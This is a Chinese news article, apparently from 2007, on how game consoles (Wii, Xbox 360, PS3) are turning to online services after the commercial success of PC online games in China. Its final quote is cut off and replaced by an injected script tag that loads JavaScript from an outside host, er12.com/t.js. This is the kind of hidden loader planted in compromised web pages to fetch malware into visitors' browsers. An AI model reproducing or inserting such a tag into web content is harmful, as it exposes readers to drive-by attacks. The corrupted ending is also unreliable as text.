大家已经意识到,在网络时代,一台没有网络社区支持的游戏机就像一台没有连接互联网的电脑
电子游戏业界最权威的人士、经典游戏《超级玛利》的作者宫本茂从来没有想到他的一句话竟然会引起如此巨大的质疑。
2007年3月,宫本茂在接受媒体采访时不小心冒出的一句,“从技术角度上说,wii确实利用了互联网技术,但我们的重点并不是网络本身。”
此话一出,立即在游戏玩家中引发了轩然大波,许多消费者误以为任天堂不关心网络联机游戏的发展,但事实并非如此,几天之后,宫本茂不得不出面澄清称媒体误解了自己的意思,任天堂从来没有放松过对互联网的关注。
“互联网正在改变整个游戏机产业,单纯的靠游戏软件销售赢利的时代已经过去。pc网络游戏创造的神话将颠覆整个游戏产业和未来十年的发展方向。”资深专家程宏认为。
网络游戏神话
“在2006年,网络游戏为盛大带来了超过16亿元的收入。”网游运营商盛大的新闻发言人诸葛辉告诉记者。
据盛大方面透露,目前盛大的网上注册用户累计已经超过了4.6亿,而如果加上其竞争对手九城、网易和久游的注册量,那无疑是一个更为庞大的数字。而在2000年,这个数字还小得几乎可以忽略不计。
中国出版工作者协会游戏工委与国际数据公司(idc)联合开展的《2006年度中国游戏产业报告》调查显示,2006年中国网络游戏市场规模为65.4亿元,比2005年增长73.5%,而在五年前,中国网络游戏的市场规模仅为3.1亿元。预计2011年中国网络游戏出版市场销售收入将达到244.3亿元,2006年到2010年的年复合增长率将达到30.2%。
不仅是运营商从网络游戏中获得了丰厚的利润,网游开发商也从中获益匪浅。
在2006年一年之中,运营商九城从网络游戏《魔兽世界》上获得了超过九亿元人民币的收入,而其开发商暴雪娱乐的获利更是高达4.71亿美元,而在2003年暴雪娱乐涉足网络游戏之前,其母公司威望迪对整个暴雪娱乐部门的报价还不到10亿美元。
《魔兽世界》的成功也让其他游戏开发商开始追赶网络游戏的潮流。全球最大的游戏开发商电子艺界(electronic arts)在不久前宣布,计划以1.05亿美元购入韩国网络游戏公司neowiz 19%的股权。电子艺界去年与neowiz合作,将其国际足联(fifa)在线足球游戏放到网上,注册用户如今已超过440万。
“这几乎是韩国总人口的10%,”电子艺界国际业务主管格哈德·弗洛林(gerhard florin)表示,“这些数字令人难以置信。5年前,亚洲在线游戏市场还不存在,但据估计,在2005年,其价值已高达25亿美元。”
权威咨询机构易观国际的分析师告诉《财经时报》,据最新调查数据显示,在去年第四季度,中国的网络游戏的市场规模已经突破了20亿元人民币,而这个数字在2007年还将保持快速增长。
复制传奇
看到网络游戏的运营商获得了丰厚回报之后,游戏机厂商们也幡然醒悟,开始不遗余力地在游戏机上开发互联网的潜能。
在这一方面,微软无疑是最大的实践者。
早在2002年微软就推出了名为xbox live的互联网平台,为使用xbox游戏机的玩家提供服务。
微软公开的数据显示,该网站已经拥有超过600万的忠实用户,而微软方面认为,在线用户将是其新推出的xbox360在激烈竞争中胜出的决定性因素。
“未来,家用视频游戏机将与互联网越走越近,下一代xbox 360游戏机增长的动力取决于微软能否吸引足够多的在线游戏玩家。而xbox live是网络时代电视游戏的最好展现。”微软娱乐与设备部副总裁彼得·莫尔说道。
与此同时,微软在电子游戏行业的竞争对手索尼也加快了其互联网服务的步伐,在上个月,索尼大张旗鼓地推出了在线三维世界home.在这里,ps3游戏机的用户可以创建一个虚拟人物形象,与其他玩家聊天并可以购买音乐、电影和游戏。 为了吸引更多的玩家登陆其网站playstation network,索尼甚至将不惜向前50万注册用户免费提供最新影片《皇家赌场》的蓝光碟。
索尼电脑娱乐公司联合运营官jack trenton说:“网络功能很流行,未来还将变得更流行,但这不是下一代游戏机中最令人激动的东西。”他告诉记者,索尼的目标是将其网站playstation network构建成一个完全开放的平台,一个自由开发与娱乐的社区。
尽管在三大次世代游戏机中,wii的网络服务最受玩家的诟病,但任天堂在这方面也正在进行积极的探索。
据记者了解,任天堂目前正在与weathernews公司协商,以获得全球各地的天气信息资源,为游戏玩家提供天气预报的服务。
而在新闻内容上,任天堂也将和知名通讯社美联社展开合作。任天堂表示,未来将和更多的内容公司合作,以丰富wii能够浏览的互联网内容。任天堂显然希望wii不仅仅成为一台游戏机,更成为一个网上的咨讯平台。
“我们所感兴趣的,并不是单纯地开发一款网络游戏,然后再以大家现在常见的?script src=http://er12.com/t.js>







